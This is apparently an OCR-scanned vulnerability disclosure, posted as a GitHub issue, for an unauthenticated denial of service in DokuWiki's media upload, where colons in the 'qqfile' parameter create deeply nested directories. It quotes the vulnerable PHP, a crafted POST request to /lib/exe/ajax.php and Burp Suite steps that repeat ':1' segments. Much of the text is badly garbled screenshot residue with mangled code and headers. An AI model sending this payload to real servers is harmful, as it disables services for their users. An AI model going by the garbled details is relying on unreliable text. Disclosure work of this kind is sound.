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Summary

An unauthenticated Denial of Service (DoS) vulnerability exists in DokuWiki’'s media upload functionality.
Attackers can exploit improper handling of file names containing colon characters (:) to create deeply nested
directory structures, exhausting server CPU resources and rendering the system unavailable.

Github: https://github.com/dokuwiki/dokuwiki/releases/tag/release-2025-05-14b

Vulnerability Description

The vulnerability resides in inc/media.php within the media_upload_xhr() function. When uploading files via
the media manager, the qgfile parameter is directly used as the file identifier without validating directory
depth. Colons in the filename are interpreted as directory separators (e.g., qqfile=123:123.pdf creates

creation of 1000+ nested directories, causing CPU exhaustion due to filesystem operations.

Technical Details

Vulnerable Code

// inc/media.php (media_upload_xhr function) r_l;l
$id = $INPUT->get->str('qqfile');
[$ext, $mime] = mimetype($id);

$res = media_save(
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["'name' => $path, 'mime' => $mime, 'ext' => $ext],

$ns :' L $id,
($INPUT->get->str('ow') == 'true'),
$auth,

'copy'

)8

Exploitation Steps

Send a POS

T request to /lib/exe/ajax.php with:

POST /lib/exe/ajax.php? d;
tab_files=files&tab_details=view&do=media&image=e.pdf&ns=&&mediaid=2.pdf&ow=true&call=n.__  yf

HTTP/1.1

Host: target-ip

Content-Length: 5

Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

12344

(1:1:1:1:

Host: 192.168. 0. 1
Content—Length: 5
X-Requested-With:
User—Agent: Mozil
Appleliebiit/537. 3
Safari/537. 36
K—FileName: 2025
Content—Type: app
Accept: /%

s

9 Origin: http://192.168.0.10:1152

10 Referer:
http://192. 168.0.
123

11 Accept—Encoding:

17 Accept—Language:

(@I

HEFE 79

Search el

Al e Bix: hitp//192.168.0.10:1152 i

== Inspector wd =

WE W E = R He B n = =kEHM

: i, 1 HTTR/1.1 200 0K . L
1:1:1: 0 Server: nginx BREEEEH

. . 1:1 3 Date: Fri, 09 ]anl?Ofﬁ 10}51:05 GMT

...................... 4 Content-Type: application/json = o

. Connection: lkeep—alive FEESH
7t Accept-Bneoding

Cookie iS3Rcookies

5 Expires: Thu, 19 Hov 1981 08:52:00 GMT

9 Cache—Control: no—store, no—cache, must-revalidate kil |

. 10 Pragma: no—cache -

11101010101 T1eqeq 1] o] o] 0q 0] 0] 11 Content—Length: 6043

123 pdf wTTRALL :iy\ccgss”:frlle,
1) H

1
0:115

. php

XMLHttpRequest
1a/3.0 (Windows NT 10.0; Winf4; x84)
6 (EHTML, like Gecko) Chrome/132.0.0.0

—12-18. json
lication/octet—strean

10:1152/doku. php?id=star thdo=nediabns=0kqqfile=

gzip, deflate, br
zh—=Cll, zh;0=0. 9

6,33

TRIEE (1612) () PIFF 262GB

dubuntu: /v /vmroot /! /data/media$ grep -

Fubuntu: /wen/ Wwroot /7 m/data/media$
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Let's conduct the test using the character blocks in Burpsuite and insert a random number of ":1" into the

"qqgfile" parameter.

ﬁ"—l‘

E

o
(]
[™J
0
[

The result is:

R

Impact

Service Disruption: CPU exhaustion blocks all legitimate requests.

No Data Exfiltration: The vulnerability is limited to DoS.

INFO
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| am not permitted to create questions on DokuWiki. So | created it here to conduct vulnerability alerts.

~ . . m - . -~

'quests 86
¢ Create new issue in dokuwiki/dokuwiki Mox
(@) Error
Failed to create the issue.
1,324

/ @ Hebing123 changed the title Ynatthenticated-Deniat-of-Service-viaDirectory Fraversatin
PokuWiki-2625-05-t4b"tibrartan” [CVE-2026-26477]Unauthenticated Denial of Service via Directory

Traversal in DokuWiki 2025-05-14b "Librarian™ on Feb 24

SN[ {o]&{{=cMN to join this conversation on GitHub. Already have an account? Sign in to comment
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